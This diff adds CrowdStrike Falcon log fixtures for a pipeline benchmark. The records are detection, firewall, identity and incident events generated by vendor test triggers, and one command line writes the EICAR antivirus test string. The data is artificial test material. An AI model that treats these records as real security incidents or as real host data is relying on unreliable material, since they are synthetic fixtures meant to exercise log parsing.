+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}}
+{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log
new file mode 100644
index 0000000000..072f786304
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":294564,"eventType":"DetectionSummaryEvent","eventCreationTime":1582101000000,"version":"1.0"},"event":{"ProcessStartTime":1536846339,"ProcessEndTime":0,"ProcessId":38684386611,"ParentProcessId":38682494050,"ComputerName":"alice-laptop","UserName":"alice","DetectName":"Process Terminated","DetectDescription":"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.","Severity":4,"SeverityName":"High","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume1\\Windows","CommandLine":"C:\\Windows\\Explorer.EXE","SHA256String":"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a","MD5String":"ac4c51eb24aa95b77f705ab159189e24","MachineDomain":"CORP-DOMAIN","FalconHostLink":"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4","SensorId":"7c808b4c8878433287eea53d4a8c3268","DetectId":"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584","LocalIP":"192.168.12.51","MACAddress":"00-00-00-11-22-33","Tactic":"Malware","Technique":"Ransomware","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process killed.","PatternDispositionValue":16,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false}}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1824,"eventType":"IncidentSummaryEvent","eventCreationTime":1583295476766,"version":"1.0"},"event":{"IncidentStartTime":1583295228,"IncidentEndTime":1583295470,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b","State":"open","FineScore":1.2}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":22865,"eventType":"UserActivityAuditEvent","eventCreationTime":1593186952000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1593186952}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log
new file mode 100644
index 0000000000..82bef37a06
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"12345a1bc2d34fghi56jk7890lmno12p","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"nginx","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"/usr/bin/nginx","LocalAddress":"10.10.10.10","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-TESTSTATION-General","PolicyID":"12345a1bc2d34fghi56jk7890lmno12p","Protocol":"6","RemoteAddress":"216.160.83.56","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":"158446832506666"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log
new file mode 100644
index 0000000000..921f2c64f8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"3426316453426234","offset":2664264,"eventType":"IdentityProtectionEvent","eventCreationTime":1686891836581,"version":"1.0"},"event":{"IncidentType":"UNUSUAL_ENDPOINT_USE","IncidentDescription":"User seen coming from a location that deviates from their baseline.","Severity":1,"SeverityName":"INFO","StartTime":1686891836383,"EndTime":1686891836553,"IdentityProtectionIncidentId":"INC-123","UserName":"TESTUSER","EndpointName":"TESTHOSTNAME","EndpointIp":"89.160.20.112","Category":"Incidents","NumbersOfAlerts":1,"NumberOfCompromisedEntities":1,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log
new file mode 100644
index 0000000000..2ab9066a1b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"123123abcd","offset":2,"eventType":"IncidentSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"IncidentStartTime":1685844891,"IncidentEndTime":1685844892,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID","State":"open","FineScore":0.5,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:123:abc","HostID":"TESTHOSTID","LMHostIDs":["TESTHOSTID1","TESTHOSTID2"],"UserId":"first.last@company.com"}}
